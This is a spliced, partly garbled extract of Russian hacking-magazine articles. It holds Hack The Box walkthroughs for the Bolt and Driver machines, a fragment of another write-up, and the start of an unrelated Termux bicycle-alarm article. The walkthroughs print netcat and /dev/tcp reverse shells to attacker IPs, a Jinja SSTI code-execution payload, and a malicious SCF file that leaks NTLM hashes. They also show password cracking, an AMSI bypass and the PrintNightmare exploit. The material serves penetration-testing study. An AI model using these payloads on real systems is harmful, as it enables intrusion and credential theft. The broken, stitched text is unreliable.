python3 exploit.py http://127.0.0.1:8000 Monolog/RCE1 id

Ре зуль тат работы экс пло ита

В ито ге мы даже узна ем, что коман да выпол нилась в кон тек сте при виле гиро- 
ван ной учет ной записи root. Давай бро сим исполь зован ный ранее
реверс-шелл для пол ного зах вата хос та.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.226 
4321 >/tmp/f 

По луче ние реверс-шел ла

Флаг рута

Го тово! Мы зах ватили машину и получи ли флаг рута.
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ВЗЛОМ

В этой статье я покажу, как находить скры- 
тый кон тент на сай тах через раз ные спо- 
собы перебо ра, затем получим управле ние
хос том бла года ря уяз вимос ти сер верных
шаб лонов (SSTI), а для повыше ния при- 
виле гий рас шифру ем при ват ные сооб- 
щения поль зовате лей, защищен ные
при помощи PGP.

Уп ражнять ся мы будем на машине Bolt с пло щад ки . Ее уро вень
слож ности обоз начен как сред ний.

Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ. ÑÊÀÍÈÐÎÂÀÍÈÅ ÏÎÐÒÎÂ

До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.114    bolt.htb 

А сле дом запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та.

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

На ходим три откры тых пор та:
22 — служ ба OpenSSH 8.2p1;•
80 и 443 — веб-сер вер Nginx 1.18.0;•

Пос коль ку мы запус кали Nmap со скрип тами, то сра зу получа ем еще один
домен, ука зан ный в поле . Добав ляем его в .commonName /etc/hosts

10.10.11.114    bolt.htb passbolt.bolt.htb 

По лучив новое домен ное имя, сра зу прос мотрим, что нам может дать веб.

Глав ная стра ница сай та

На сай те находим фор мы авто риза ции и регис тра ции.

Фор ма авто риза ции поль зовате лей

Пы таем ся зарегис три ровать ся, что бы получить боль ше воз можнос тей на сай- 
те, и видим ошиб ку.

Ошиб ка при авто риза ции

Про дол жаем изу чать сайт. Ведь мно го откры тых ссы лок.

На вига ция по сай ту

Од новре мен но мож но пос тавить перебор скры тых катало гов.

Справка: сканирование веба c ffuf
Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе- 
ния — это ска ниро вание методом перебо ра катало гов, что бы най ти скры тую
информа цию и недос тупные обыч ным посети телям фун кции. Для это го мож но
исполь зовать прог раммы вро де  и .dirsearch DIRB

Я пред почитаю лег кий и очень быс трый . При запус ке ука зыва ем сле- 
дующие парамет ры:

ffuf

 — сло варь (я исполь зую сло вари из набора );• -w SecLists
 — количес тво потоков;• -t
 — URL;• -u

 — исклю чить из резуль тата отве ты с кодом 403.• -fc

За пус каем перебор:

ffuf  256 -u http://bolt.htb/FUZZ -t -w directory_2.3_medium_
lowercase.txt 

Ре зуль тат ска ниро вания катало гов

Так как мы уже зна ем один под домен, сто ит про верить, сущес тву ют ли
еще какие-нибудь. Для это го исполь зуем тот же ffuf, но в качес тве мес та
для перебо ра ука зыва ем HTTP-заголо вок .Host

ffuf    256 -u http://bolt.htb/ -H 'Host: FUZZ.bolt.htb' -t -w 
subdomains-top1million-110000.txt 

В выводе получа ем поч ти все сло ва из спис ка, так как все они вер нут код
отве та 200. Поэто му сто ит ука зать допол нитель ную филь тра цию, нап ример
по раз меру отве та (опция ).-fs

ffuf    256 -u http://bolt.htb/ -H 'Host: FUZZ.bolt.htb' -t -w 
subdomains-top1million-110000.txt -fs 30347 

Ре зуль тат ска ниро вания под доменов

Най ден ные име на добав ляем в файл ./etc/hosts

10.10.11.114    bolt.htb passbolt.bolt.htb mail.bolt.htb demo.bolt.
htb 

По адре су  получа ем такой же сайт, что и ранее. Прав да,
в нем дру гая фор ма регис тра ции. Она тре бует код инвай та вмес то пов тора
пароля.

demo.bolt.htb

Фор ма регис тра ции demo.bolt.htb

Ошиб ка при вво де невер ного инвай та

А на вто ром сай те нас встре тит фор ма авто риза ции веб-вер сии поч тового
кли ента.

Фор ма авто риза ции mail.bolt.htb

ÒÎ×ÊÀ ÂÕÎÄÀ

Все, что мог ли, мы уже наш ли, поэто му перей дем к ана лизу исходных кодов.
Архив пред став ляет собой репози торий, содер жащий вло жен ные фай лы .tar.

Струк тура репози тория исходных кодов

В одном из них есть файл базы дан ных — .db.sqlite3

Со дер жимое архи ва layer.tar

Рас паку ем его и прос мотрим содер жимое базы.

sqlite3 db.sqlite3 

За тем прос матри ваем таб лицы коман дой  и получа ем дан ные, так

как таб лица там все го одна — .

.table
User

   SELECT * FROM User;

По луче ние дан ных из фай ла базы дан ных

Так из фай ла базы дан ных получа ем хеш пароля адми нис тра тора сай та.
Для перебо ра нуж но узнать алго ритм и соот ветс тву ющий ему режим перебо- 
ра. В этом нам поможет . Поищем в справ ке этой прог раммы по пре- 

фик су хеша .

hashcat

\$1\$

 |    hashcat --example grep '\$1\$' -A2 -B2

По иск режима перебо ра для най ден ного хеша

Это MD5. Оста лось пос тавить хеш на брут (параметр ) по зна мени тому
сло варю . Ука жем режим в парамет ре .

-a
rockyou -m

 0 hashcat -a -m 500 hash.txt ~/tmp/tools/rockyou.txt 

Ре зуль тат перебо ра хеша

Очень лег ко уда лось най ти пароль, с которым получа ется авто ризо вать ся
на сай те. Там нас встре чает панель управле ния.

Па нель управле ния

Од нако никаких новых воз можнос тей мы не получа ем. Тог да я решил вер нуть- 
ся к демовер сии сай та, где для регис тра ции тре бует ся инвайт. Поп робу ем
поис кать его в исходни ках по сло вам invite и code.

  grep -iR 'invite\|code' ./
41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/* 2>
/dev/null 

По иск слов invite и code

На ходим нуж ную пос ледова тель ность, с которой получа ется зарегис три- 
ровать сво его юзе ра.

Па нель управле ния соз данно го поль зовате ля

Но что еще важ нее, мы получа ем и свой поч товый ящик. Авто ризо вать ся
в нем мож но с теми же учет ными дан ными, которые мы исполь зовали во вре- 
мя регис тра ции на сай те.

Поч товый ящик соз данно го поль зовате ля

Продолжение статьи →
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ÒÎ×ÊÀ ÎÏÎÐÛ

На сай те мож но най ти спо соб вза имо дей ство вать с поч той через механизм
верифи кации. Так как вве ден ные дан ные обра баты вают ся, это мес то для тес- 
та.

Фор ма отправ ки сооб щения

От прав ляем тес товое сооб щение и смот рим поч товый ящик. Там обна ружим
вхо дящее сооб щение.

Вхо дящие сооб щения поль зовате ля

Ес ли перей ти по ссыл ке, получим еще одно сооб щение, в котором будет
отоб ражать ся ука зан ное при пер вой отправ ке имя.

Со обще ние с под твержде нием

Так как сайт написан на Python и про исхо дит отоб ражение вве ден ных дан ных,
то пер вая идея — про верить SSTI.

SSTI

Server-Side Template Injection (SSTI) — это механизм ата ки, при котором зло- 
умыш ленник внед ряет в шаб лон вре донос ный код. Шаб лоны нуж ны веб-раз- 
работ чикам, что бы мож но было нас тра ивать внеш ний вид сай та толь ко
в одном мес те и затем не копиро вать вруч ную. По сути, шаб лон —
это документ HTML, где в нуж ных мес тах отме чены перемен ные и коман ды,
которые при генера ции ито говой стра ницы будут замене ны дан ными. В том
чис ле это могут быть и дан ные, получен ные от посети теля сай та.

Ата ка зат рагива ет момент, ког да прис ланная информа ция объ еди няет ся
с шаб лоном. Зло умыш ленник фор миру ет стро ку таким обра зом, что бы она
не прос то под ста вилась в шаб лон, но была интер пре тиро вана как код. Если
это воз можно, то он добавит свои дирек тивы, с помощью которых выпол нит
эксфиль тра цию дан ных или даже зах ват веб-сер вера.

Итак, нам нуж но передать стро ку, которая будет содер жать встав ки,
подоб ные тем, что исполь зуют ся в шаб лоне. Пос коль ку мы зна ем, что име ем
дело с Python, в пер вую оче редь поп робу ем исполь зовать самый популяр ный
син таксис его шаб лонов (он исполь зует ся, к при меру, в Jinja).

От пра вим сооб щения вро де  или  в надеж де получить
резуль тат умно жения.

{{7*7}} {{7*'7'}}

От прав ка сооб щения с тес товой пос ледова тель ностью

Со обще ние с под твержде нием

Ви дим, что дей ствие выпол нено и на стра нице отоб ража ется его резуль тат.
А зна чит, мы под твер дили наличие SSTI! Давай сра зу поп робу ем выпол нить
коман ду, к при меру . Для это го исполь зуем вот такую наг рузку:id

{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

Со обще ние с под твержде нием

И вмес то име ни поль зовате ля обна ружи ваем резуль тат выпол нения коман ды.
Сле дующий шаг — заг рузить реверс-шелл. Выг лядеть он будет вот так:

{{config.__class__.__init__.__globals__['os'].popen('/bin/bash -c "/
bin/bash -i >& /dev/tcp/10.10.14.48/80 0>&1"').read()}}

Справка: реверс-шелл
Об ратный шелл — это под клю чение, которое акти виру ет ата куемая машина,
а мы при нима ем и таким обра зом под клю чаем ся к ней, что бы выпол нять
коман ды от лица поль зовате ля, который запус тил шелл. Для при ема соеди- 
нения необ ходимо соз дать на локаль ной машине listener, то есть «слу- 
шатель».

В таких слу чаях при годит ся  — readline-обо лоч ка, которая в чис ле
про чего поз воля ет поль зовать ся исто рией команд. Она обыч но дос тупна
в репози тории дис три бути ва.

rlwrap

В качес тве самого лис тенера при этом мож но исполь зовать широко
извес тный netcat.

Те перь акти виру ем лис тенер, и мы в сис теме!

Ре верс-шелл

ÏÐÎÄÂÈÆÅÍÈÅ

Те перь, ког да мы получи ли дос туп к хос ту, нам необ ходимо соб рать
информа цию, которая может помочь с повыше нием при виле гий. Сде лаем
это при помощи скрип тов PEASS.

Справка: скрипты PEASS для Linux
Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го. Что бы соб рать информа цию и наметить цели, мож- 
но исполь зовать  (PEASS) — набор
скрип тов, которые про веря ют сис тему на авто мате.

Privilege Escalation Awesome Scripts SUITE

Что бы вос поль зовать ся скрип том, его нуж но сна чала заг рузить на локаль- 
ный хост.

wget https://github.com/carlospolop/privilege-escalation-awesome-
scripts-suite/blob/master/linPEAS/linpeas.sh 

Те перь нуж но заг рузить его на уда лен ный хост. В дирек тории со скрип том
на локаль ной машине запус тим с помощью Python прос той веб-сер вер. Пос- 
ле выпол нения этой коман ды веб-сер вер будет прос лушивать порт 8000.

python3 -m http.server 

А теперь с помощью того же  на целевой машине заг рузим скрипт

с локаль ного хос та на уда лен ный. Пос ле заг рузки необ ходимо дать фай лу
пра во на выпол нение и выпол нить скрипт.

wget

wget http://[ip_локального_хоста]:8000/linpeas.sh 
chmod +x linpeas.sh 
./linpeas.sh 

По луча ем огромный мас сив информа ции.

Прос лушива емые пор ты

Дос тупные для записи фай лы

Най ден ные в сис теме сло ва passw

Сре ди это го нам важ но сле дующее:
спи сок прос лушива емых пор тов. Отме тим пор ты 3306 (служ ба MySQL)
и 25 (поч товый сер вер);

•

спи сок фай лов, дос тупных нам для записи;•
най ден ные в сис теме подс тро ки  — тут отме тим целый пароль
из фай ла .

• passw
/etc/passbolt/passbolt.php

Да вай прос мотрим все содер жимое это го фай ла.

Со дер жимое фай ла passbolt.php

Тут сох ранены нас трой ки для под клю чения к базе дан ных, а в базе дан ных
могут най тись и какие-нибудь кри тичес кие дан ные, нап ример пароли. Сна- 
чала акти виру ем PTY-обо лоч ку с помощью Python:

 python3 -c "import pty;pty.spawn('/bin/bash')"

А теперь под клю чим ся и прос мотрим сущес тву ющие базы:

mysql -h 127.0.0.1 -u passbolt -p
show databases;

Ба зы дан ных

Так вой дем в базу  и получим спи сок таб лиц.passboltdb

 use passboltdb;
 show tables;

Спи сок таб лиц в базе passboltdb

Нас могут инте ресо вать две таб лицы:  и .users secrets

   select * from users;

Со дер жимое таб лицы users

   select * from secrets;

Со дер жимое таб лицы secrets

В ито ге паролей не находим, но зато получа ем какое-то сек ретное сооб- 
щение, зашиф рован ное при помощи PGP. Сопос тавив иден тифика торы
из двух таб лиц, мож но опре делить, что оно име ет отно шение к поль зовате лю

. Сох раним его — оно может еще при годить ся.eddie
В базе боль ше ничего инте рес ного нет, но у нас еще остался пароль

от самой базы! Все получен ные име на поль зовате лей и пароли обя затель но
нуж но про верять на всех дос тупных сер висах в раз ных ком бинаци ях. И нам
повез ло — этот пароль подошел для дос тупа по SSH от име ни уже зна комо го
нам Эдди.

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Так как есть учет ные дан ные нового поль зовате ля, я решил про читать его
поч ту. Сде лать это через веб-кли ент у меня не выш ло, но можем читать сооб- 
щения пря мо в сис теме. Для это го перей дем в каталог  и про чита- 

ем файл соот ветс тву юще го поль зовате ля.

/var/mail

Со дер жимое фай ла eddie

В сооб щении упо мина ется хра нили ще пароля и рас ширение для бра узе ра.
Так же ста новит ся ясно, что ранее мы получи ли не сооб щение, а зашиф рован- 
ный пуб личным клю чом пароль.

На хос те уста нов лен Google Chrome с каким-то рас ширени ем. Оно-то нас
и инте ресу ет. Давай заг лянем в его логи.

Со дер жимое катало га .cong

На ходим нес коль ко пар клю чей PGP. Нас инте ресу ют те, что отно сят ся к поч те
eddie.

Со дер жимое лога рас ширения Chrome

Мы получи ли сек ретный ключ PGP, зна чит, можем поб рутить пароль. Но для
это го сна чала при дет ся перевес ти ключ в нуж ный фор мат. В ком плек те
со зна мени тым , который нам необ ходим для бру та хеша,
пос тавля ется мно го скрип тов-кон верте ров. В дан ном слу чае нам нужен 

.

John the Ripper

/
usr/sbin/pgp2john

По луче ние хеша пароля сек ретно го клю ча PGP

Пос ле пре обра зова ния переда ем хеш «Джо ну».

john pgp1.hash --wordlist=rockyou.txt 

Па роль для при ват ного клю ча PGP

Те перь импорти руем оба клю ча в сис тему.

gpg  --batch --import pgp1.key 
gpg  --batch --import pgp2.key 

Им порти рова ние клю чей

И рас шифру ем сооб щение (пароль), который мы получи ли из базы ранее.

gpg --pinentry-mode loopback --passphrase merrychristmas -d message.
txt 

По луче ние пароля поль зовате ля

С этим паролем под клю чаем ся к SSH от име ни рута.

Флаг рута

Ма шина зах вачена, у нас есть над ней пол ный кон троль!

https://github.com/hanslub42/rlwrap
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
https://www.openwall.com/john/
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ВРЕДОНОСНЫЙ SCF
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RalfHacker
hackerralf8@gmail.com

ВЗЛОМ

Се год ня мы с тобой раз берем уяз вимость
PrintNightmare, которая поз воля ет повысить
при виле гии в Windows через баг в сис теме
печати (CVE-2021-1675). Так же мы сде лаем
вре донос ный файл SCF, который поможет
нам получить NTLM-хеш пароля поль- 
зовате ля.

Все это — что бы прой ти прос тую по уров ню слож ности машину Driver с пло- 
щад ки .Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ. ÑÊÀÍÈÐÎÂÀÍÈÅ ÏÎÐÒÎÂ

Для удобс тва добав ляем IP-адрес машины в :/etc/hosts

10.10.11.106    driver.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та.

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

На ходим четыре откры тых пор та:
80 (HTTP) — веб-сер вер Microsoft IIS/10.0;•
135 — служ ба уда лен ного вызова про цедур (Microsoft RPC). Исполь зует ся
для опе раций кон трол лер — кон трол лер и кон трол лер — кли ент;

•

445 — служ ба SMB;•
5985 — этот порт отве чает за служ бу уда лен ного управле ния WinRM.•

Пер вым делом я попытал ся бег ло взгля нуть на SMB. Целью было понять, что
эта служ ба может дать. Узнать это мож но корот кой коман дой 

, на что получим однознач ный ответ — 
. Зна чит, SMB мож но пока про пус тить — без авто риза- 

ции здесь ловить нечего. С WinRM на дан ном эта пе нам может помочь толь ко
брут, а при решении машин с HTB это не комиль фо. Так что идем смот реть
веб.

smbmap -H 
driver.htb [!] Authentication 
error on driver.htb

Зап рос учет ных дан ных

Не дол го думая, вво дим нес коль ко рас простра нен ных сочета ний дефол тных
логинов и паролей. Пер вое же сочета ние :  откры вает нам глав ную
стра ницу сай та.

admin admin

Глав ная стра ница сай та

Пос ле осмотра сай та оста нав лива емся на единс твен ной «живой» стра нице
Firmware Updates, на которой есть фор ма заг рузки фай ла.

Стра ница Firmware Updates

ÒÎ×ÊÀ ÂÕÎÄÀ

Пер вым делом я попытал ся заг рузить исполня емые фай лы .exe, но это
не при нес ло ров ным сче том ничего. Но есть и дру гие фор маты фай лов,
которые поз волят выпол нить опре делен ные опе рации, хоть их и огра ничен- 
ное количес тво. Один из таких фор матов — SCF (shell command les). Фай лы
SCF мож но исполь зовать для опе раций вро де «Свер нуть все окна»
или «Открыть про вод ник Windows». А еще файл SCF может исполь зовать ся
для дос тупа к опре делен ному пути UNC, что может при вес ти к утеч ке поль- 
зователь ско го хеша NetNTLMv2. Это про изой дет, потому что Windows
попыта ется аутен тифици ровать ся на этом общем ресур се, исполь зуя имя
и пароль поль зовате ля.

Óòå÷êà õåøà NTLM

Поп робу ем это про экс плу ати ровать. Сна чала соз дадим файл SCF 
со сле дующим содер жимым (  поз волит помес тить файл ввер ху спис ка фай- 

лов в катало ге, в дан ном слу чае это необя затель но).

@test.scf
@

[Shell]
Command=2
IconFile=\\10.10.14.53\share\ralf.ico

[Taskbar]
Command=ToggleDesktop

Этот файл дол жен свер нуть все окна, это опре деля ет параметр 

в дирек тиве . Но это нам не важ но, так как хит рость кро ется в дру- 

гом: в дирек тиве  параметр  ука зыва ет UNC-путь к икон ке
фай ла. Имен но это и зас тавит уда лен ный хост попытать ся авто ризо вать ся
на нашем ресур се.

Command
[Taskbar]

[Shell] IconFile

По лучить аутен тифика цион ные дан ные целево го поль зовате ля при под- 
клю чении к нашему SMB-ресур су мы можем с помощью . Давай
акти виру ем наш «отлавли ватель», а затем заг рузим упо мяну тый файл.

Responder

sudo responder -I tun0 

От ловлен ный хеш пароля поль зовате ля Tony

И получа ем желан ный хеш, который теперь нуж но поломать. Я для этих целей
обыч но исполь зую , но этой прог рамме нуж но ука зать тип хеша.
К счастью, в справ ке уже все ука зано и нам нуж но лишь най ти под ходящий
номер. Для это го мы отоб ража ем при мер всех видов хешей и отби раем тот,
где встре чает ся NetNTLMv2.

hashcat

 |   2 hashcat --example grep -A -B 2 NTLM 

При мер NTLM-хешей, получен ных в hashcat

Мы узна ем режим: 5600. К тому же нам показы вают хеш, который визу аль но
по струк туре похож на тот, что мы получи ли в Responder. А теперь приш ло
вре мя этот хеш переб рать. Для перебо ра будем исполь зовать все тот же
hashcat со сле дующи ми аргу мен тами:

 — режим перебо ра, нулевой озна чает по сло варю;• -a 0
 — режим, тут ука зыва ем тип хеша, получен ный ранее;• -m []

 — файл, в котором записан хеш или хеши;• ksven.hash
 — сло варь с воз можны ми пароля ми.• rockyou.txt

 0 hashcat -a -m 5600 tony.hash rockyou.txt 

Ре зуль тат взло ма хеша, пред став ленный hashcat

В ито ге hashcat очень быс тро находит пароль. Мы можем сра зу же про верить
его в служ бах WinRM и SMB с помощью .crackmapexec

crackmapexec winrm driver.htb -u tony -p liltony 

Про вер ка учет ных дан ных

Учет ные дан ные подош ли к служ бе WinRM, поэто му мы получа ем ста биль ный
дос туп. Для дос тупа будем исполь зовать обо лоч ку .Evil-WinRM

evil-winrm -i driver.htb -u tony -p liltony 

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

У нас есть флаг поль зовате ля, так что теперь наша задача — заполу чить
адми нис тра тор ские при виле гии. Пер вым делом мож но про верить информа- 
цию о сис теме (коман да ) и о текущем поль зовате ле (

), а так же получить спи сок запущен ных про цес сов (коман ды 
или ).

systeminfo whoami /
all tasklist

ps

Спи сок запущен ных про цес сов

В сис теме работа ет про цесс служ бы печати . Служ ба Windows

Print Spooler — это уни вер саль ный интерфейс меж ду ОС, при ложе ниями
и локаль ными или сетевы ми прин терами. Она поз воля ет раз работ чикам при- 
ложе ний отправ лять задания на печать. Про верить ее работу мож но и через
служ бу RPC уда лен но:

spoolsv.exe

rpcdump.py @driver.htb | egrep 'MS-RPRN|MS-PAR'

Про вер ка работы служ бы печати

На ум сра зу при ходит недав няя нашумев шая уяз вимость , она
же PrintNightmare. Баг кро ется в вызове  дис петче ра

оче реди печати Windows. Кли ент исполь зует вызов RPC для добав ления
драй вера на сер вер, сох раняя его в локаль ном или уда лен ном катало ге SMB.
Пос ле чего кли ент ини циали зиру ет объ ект , исполь зуемый

в вызове , для заг рузки драй вера. Драй вер может

содер жать про изволь ный код, который будет выпол нять ся на сер вере с пра- 
вами . Коман ду может выпол нить любой поль зователь, про шед ший

аутен тифика цию в служ бе дис петче ра оче реди печати. Про ще говоря, имея
минималь ные при виле гии, мы можем выпол нить любую DLL от име ни
SYSTEM.

CVE-2021-1675
RpcAddPrinterDriver

DRIVER_CONTAINER
RpcAddPrinterDriver

SYSTEM

Также о PrintNightmare

• В сеть про сочил ся экс пло ит для опас ной проб лемы PrintNightmare
в Windows

• Проб лема PrintNightmare получи ла новый CVE-иден тифика тор, но не патч
• Microsoft выпус тила внеп лановый патч для уяз вимос ти PrintNightmare
• Microsoft заяв ляет, что патч для PrintNightmare работа ет кор рек тно
• Вы мога тель ские груп пиров ки взя ли на воору жение экс пло иты

для PrintNightmare
• Microsoft исправ ляет 0-day в MSHTML и оста точ ные проб лемы

PrintNightmare

На GitHub уже дос таточ но экс пло итов для этой уяз вимос ти, реали зован ных
на раз ных язы ках и выпол няющих раз ные фун кции. К при меру, есть ,
который соз даст нового поль зовате ля-адми нис тра тора. Ска чаем его
на локаль ный хост и из катало га с экс пло итом пов торим под клю чение
с помощью Evil-WinRM. Толь ко в этот раз будем ука зывать параметр , что

поможет нам лег ко заг рузить в память скрипт на PowerShell.

экс пло ит

-s

 . evil-winrm -i driver.htb -u tony -p liltony -s

Пос ле под клю чения луч ше выз вать коман ду  и запат чить AMSI коман дой

.

menu
Bypass-4MSI

Патч AMSI

За тем заг ружа ем скрипт в память и вызыва ем единс твен ную фун кцию
.Invoke-Nightmare

   Invoke-Nightmare -NewUser "ralf" -NewPassword "ralf"

Экс плу ата ция PrintNightmare

Под клю чаем ся с учет ными дан ными нового поль зовате ля и забира ем флаг
адми нис тра тора.

Флаг рута

Ма шина зах вачена!

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://hashcat.net/hashcat/
https://github.com/byt3bl33d3r/CrackMapExec
https://github.com/Hackplayers/evil-winrm
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-1675
https://xakep.ru/2021/06/30/printnightmare/
https://xakep.ru/2021/07/02/printnightmare-no-patch/
https://xakep.ru/2021/07/07/printnightmare-patch/
https://xakep.ru/2021/07/09/printnightmare-nightmare/
https://xakep.ru/2021/08/12/printnightmare-magniber/
https://xakep.ru/2021/09/15/mshtml-and-printnightmare/
https://github.com/calebstewart/CVE-2021-1675
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ТРЮКИ

На вер няка у тебя где-то завалял ся ста рый смар тфон
на Android, а может, даже и не один. Я рас ска жу, как сде лать
из него надеж ную сиг нализа цию для тво его велоси педа,
да и вооб ще для любого дви жимо го и нед вижимо го иму щес- 
тва. Прог рамми ровать будем на Python 3, при этом набор
фун кций при ложе ния без тру да может быть изме нен и рас- 
ширен для решения дру гих насущ ных задач.

Не дав но я закон чил сбор ку сво его элек тро вело сипе да. Теперь я могу
не толь ко колесить в близ лежащих пар ках, но и исполь зовать его в качес тве
пол ноцен ного средс тва перед вижения. Ско рость до 55 км/ч поз воля ет уве- 
рен но дер жать ся в город ском потоке машин, а бес шумность, отсутс твие
запаха бен зина плюс неболь шая мас са — спо кой но ездить по пар кам и тро- 
туарам, а так же хра нить тран спорт дома. В общем, сплош ные плю сы. Ког да
надо при пар ковать ся и пой ти по делам, на раме моего велоси педа защел- 
кива ется U-образный замок Kryptonite. Одна ко мотор и новень кий акку муля- 
тор уже не дела ют раму самой дорогой частью велоси педа. И поэто му остро
вста ет воп рос защиты тран спортно го средс тва от тех, кто тоже сле дует
за прог рессом, но не жела ет на него тра тить ся. Короче говоря, от воров.

Име ющиеся в про даже сиг нализа ции для велоси педов прос то отпу гива ют
воришек гром ким зву ком. Поэто му я решил сде лать собс твен ное устрой ство
с обратной связью. Пер вое, что приш ло в голову, — раз работать сиг нализа- 
цию на мик рокон трол лере. Но затем я подумал: почему бы не исполь зовать
ста рый смар тфон, который лежит без дела? Ведь у него на бор ту уже есть все
необ ходимое, что бы решить пос тавлен ную задачу: мобиль ный интернет, GPS
для опре деле ния мес тополо жения, раз личные дат чики для обна руже ния
внеш них воз дей ствий, камера и сен сорный экран. В общем, воп рос
с железом был решен, оста лось толь ко реали зовать прог рам мную часть. Что- 
бы луч ше понять прин цип работы опи сан ного в статье устрой ства, можешь
сра зу пос мотреть демонс тра цию его работы.

TERMUX

Ес ли ты еще не слы шал про Termux, то сроч но отправ ляй ся .
«Хакер» уже . Termux — это эму лятор тер минала для опе- 
раци онной сис темы Android. Но пус кай тебя не сму щает сло во «эму лятор»,
весь код выпол няет ся натив но.

изу чать мат часть
пи сал на эту тему

Как ты зна ешь, в осно ве Android — ядро Linux. Termux добав ляет к ядру
минималь ное окру жение в виде набора ути лит и интер пре тато ра Bash. Этот
набор может быть лег ко рас ширен хорошо извес тной поль зовате лям Linux
коман дой  (или ). При этом

спи сок пакетов дос таточ но обширный: от кон соль ного редак тора Vim
до окон ной сис темы X11 и сре ды рабоче го сто ла Xfce. Все это работа ет
без прав супер поль зовате ля!

apt install <package> pkg install <package>

Кро ме того, всег да есть воз можность написать свою прог рамму на С
или даже язы ке ассем бле ра. Ком пилятор GCC так же мож но уста новить
из пакетов. Если есть пра ва root, все ста новит ся еще инте рес нее: мож но под- 
клю чить репози торий root-repo и получить дос туп к таким прог раммам,
как tcpdump или Aircrack-ng. Для наших же целей root-пра ва не пот ребу ются:
все, что нам нуж но, — это уста новить интер пре татор язы ка Python 3.
К счастью, нуж ный пакет уже име ется в репози тории.

Termux я рекомен дую уста новить из магази на соф та с откры тым исходным
кодом F-Droid. Если у тебя в телефо не еще нет это го магази на, отправ ляй ся
на сайт  и ска чивай соот ветс тву ющее при ложе ние. Далее

в самом F-Droid в стро ке поис ка напиши Termux и уста нови сле дующие при- 
ложе ния: Termux, Termux:API и Termux:Widget. Если Android на тво ем телефо не
ниже седь мого, то тебе понадо бит ся уже архивная вер сия. Ее ты можешь
взять . Пос ле уста нов ки запус кай Termux и инстал лируй необ ходимые
пакеты и модули питона, которые нам понадо бят ся. Для это го в открыв шемся
тер минале набери сле дующие коман ды:

f-droid.org

тут

pkg update 
pkg install termux-api 
pkg install openssh 
pkg install qrencode 
pkg install python 
pkg pip install 
pip install pystun3 

Об рати вни мание, что  в пос ледней стро ке — это модуль питона,

поэто му мы уста нови ли его коман дой , а не .

pystun3
pip install pkg install

TERMUX:API

Ко ман дой  мы уста нови ли под дер жку Termux-API,
что поз воля ет вза имо дей ство вать с сис темой Android из коман дной стро ки:
делать фото, записы вать и вос про изво дить звук, подавать виб росиг нал,
получать информа цию с дат чиков телефо на, выводить диало говые окна
и про чее. Что бы изу чить все воз можнос ти Termux-API, набери в коман дной
стро ке , наж ми два раза Tab, и уви дишь все дос тупные ути литы. Фун- 

кци ональ нос ти впол не дос таточ но, что бы орга низо вать вза имо дей ствие
с поль зовате лем с помощью всплы вающих сооб щений (termux-toast), диало- 
говых окон (termux-dialog) и уве дом лений (termux-notication).

pkg install termux-api

termux-

Для сиг нализа ции нам понадо бит ся информа ция с дат чика уско рения —
аксе леро мет ра. Для это го пос мотрим сна чала, какие дат чики при сутс тву ют
в телефо не:

termux-sensor -l

В получен ном спис ке дат чиков ищи тот, в наз вании которо го есть сло во
accelerometer. Нап ример, в моем телефо не име ется BMI160 Accelerometer
и Linear Acceleration. Теперь мож но поп робовать опро сить дат чик такой
коман дой:

   1 termux-sensor -s "BMI160 Accelerometer" -n

В моем слу чае вывод этой коман ды име ет сле дующий вид:

{
 "BMI160 Accelerometer": {
   "values": [
     0.35223388671875,
     0.20556640625,
     9.873580932617188
   ]
 }

}

Об рати вни мание на две вещи. Во-пер вых, вывод информа ции по одно му
изме рению занима ет девять строк. В даль нейшем мы исполь зуем это для
